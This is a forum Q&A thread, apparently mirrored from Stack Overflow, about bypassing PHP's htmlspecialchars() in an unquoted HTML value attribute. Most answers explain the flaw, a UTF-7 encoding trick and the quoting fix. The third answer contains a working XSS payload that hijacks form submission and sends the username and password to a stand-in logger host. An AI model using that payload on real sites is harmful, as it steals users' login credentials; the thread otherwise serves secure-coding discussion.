发表新帖
发表新帖

XSS attack to bypass htmlspecialchars() function in value attribute

后端 未结
关注
5 1596
终归单人心
终归单人心 2020-12-24 13:48

Let\'s say we have this form, and the possible part for a user to inject malicious code is this below

...
相关标签:
5条回答
  • 不思量自难忘°
    2020-12-24 14:26

    value is a normal HTML attribute, and has nothing to do with Javascript.
    Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.

    In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".

    You forgot to put quotes around the attribute value, so all you need is a space.

    Even if you do quote the value, it may still be vulnerable; see this page.

    0 讨论(0)
  • 野性不改
    2020-12-24 14:27

    There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:

    $source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

    Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().

    How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).

    0 讨论(0)
  • 孤城傲影
    2020-12-24 14:32

    Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):

    <body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
    0 讨论(0)
  • 旧巷少年郎
    2020-12-24 14:45

    Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.

    Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.

    For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.

    EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:

    john onclick="alert('hacking your megabits!1')"

    Then your script would parse as:

    <input type=text name=username value=john onclick="alert('hacking your megabits!1')">

    ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.

    <input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
    0 讨论(0)
  • 情话喂你
    2020-12-24 14:49

    You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by: like you can add this on btn -> onclick=alert('Hello')

    0 讨论(0)
 看不清?
提交回复
热议问题